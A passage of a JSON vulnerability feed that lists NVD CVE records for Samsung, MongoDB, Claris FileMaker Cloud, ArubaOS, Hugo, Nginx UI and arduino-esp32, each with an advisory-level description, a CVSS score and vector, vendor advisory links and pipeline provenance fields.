2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21020","cveId":"CVE-2026-21020","aliases":[],"kind":"vulnerability","title":"Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.","summary":"Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.","detail":"Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T06:16:13.540Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"samsung","product":"android","stacks":["Android","Samsung mobile","android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-21020","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-21020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21020","type":"primary","publishedAt":"2026-05-13T06:16:13.540Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.samsungmobile.com/securityUpdate.smsb?year=2026&month=05","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8336","cveId":"CVE-2026-8336","aliases":[],"kind":"vulnerability","title":"After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently...","summary":"After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service.\n\nThis issue impacts MongoDB Server v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.","detail":"After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service.\n\nThis issue impacts MongoDB Server v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T04:17:42.197Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mongodb","product":"mongodb","stacks":["Mongodb","mongodb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8336","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8336","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8336","type":"primary","publishedAt":"2026-05-13T04:17:42.197Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/SERVER-121610","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8201","cveId":"CVE-2026-8201","aliases":[],"kind":"vulnerability","title":"A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared.","summary":"A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query.\n\nThis issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.","detail":"A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query.\n\nThis issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T04:17:41.870Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mongodb","product":"mongodb","stacks":["Mongodb","mongodb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8201","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8201","type":"primary","publishedAt":"2026-05-13T04:17:41.870Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/SERVER-122032","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8199","cveId":"CVE-2026-8199","aliases":[],"kind":"vulnerability","title":"An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear.","summary":"An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. This contributes to memory pressure and may lead to availability loss by OOM.\n\nThis issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.","detail":"An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. This contributes to memory pressure and may lead to availability loss by OOM.\n\nThis issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T04:17:41.530Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mongodb","product":"mongodb","stacks":["Mongodb","mongodb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8199","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8199","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8199","type":"primary","publishedAt":"2026-05-13T04:17:41.530Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/SERVER-122449","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8053","cveId":"CVE-2026-8053","aliases":[],"kind":"vulnerability","title":"An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the...","summary":"An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution.\n\nThis issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.","detail":"An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution.\n\nThis issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T04:17:41.287Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mongodb","product":"mongodb","stacks":["Mongodb","mongodb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8053","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8053","type":"primary","publishedAt":"2026-05-13T04:17:41.287Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/SERVER-126021","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43685","cveId":"CVE-2026-43685","aliases":[],"kind":"vulnerability","title":"A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized...","summary":"A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized input in the External ODBC Data Source connection test feature. This issue is fixed in FileMaker Cloud 2.22.0.5.","detail":"A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized input in the External ODBC Data Source connection test feature. This issue is fixed in FileMaker Cloud 2.22.0.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:17.973Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"claris","product":"filemaker cloud","stacks":["Claris","filemaker cloud"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43685","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43685","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43685","type":"primary","publishedAt":"2026-05-12T23:16:17.973Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.claris.com/s/answerview?anum=000049154&language=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44871","cveId":"CVE-2026-44871","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:37.820Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44871","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44871","type":"primary","publishedAt":"2026-05-12T22:16:37.820Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44301","cveId":"CVE-2026-44301","aliases":[],"kind":"vulnerability","title":"Hugo is a static site generator.","summary":"Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0.","detail":"Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:36.843Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"gohugo","product":"hugo","stacks":["Gohugo","hugo"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44301","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44301","type":"primary","publishedAt":"2026-05-12T22:16:36.843Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/gohugoio/hugo/security/advisories/GHSA-x597-9fr4-5857","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44015","cveId":"CVE-2026-44015","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.","detail":"Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:35.330Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"nginxui","product":"nginx ui","stacks":["Nginx","nginx ui"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44015","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44015","type":"primary","publishedAt":"2026-05-12T22:16:35.330Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42855","cveId":"CVE-2026-42855","aliases":[],"kind":"vulnerability","title":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers.","summary":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8.","detail":"arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 